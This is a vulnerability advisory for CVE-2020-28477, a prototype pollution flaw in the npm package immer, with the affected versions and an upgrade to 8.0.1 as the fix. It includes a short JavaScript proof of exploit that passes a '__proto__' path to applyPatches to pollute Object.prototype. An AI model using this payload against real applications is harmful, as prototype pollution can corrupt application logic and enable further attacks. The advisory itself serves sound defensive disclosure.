immer
Affected
- introduced
7.0.0, fixed8.0.1(semver)
Fixed versions
8.0.1
Fix
- Fixed version
8.0.1npm install [email protected]
Advisory
Also known as: CVE-2020-28477
Prototype Pollution in immer
Overview
Affected versions of immer are vulnerable to Prototype Pollution.
Proof of exploit
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
Remediation
Version 8.0.1 contains a fix for this vulnerability, updating is recommended.
High Basis: The source's own band: HIGH
7.0.0, fixed 8.0.1 (semver)8.0.1
8.0.1npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0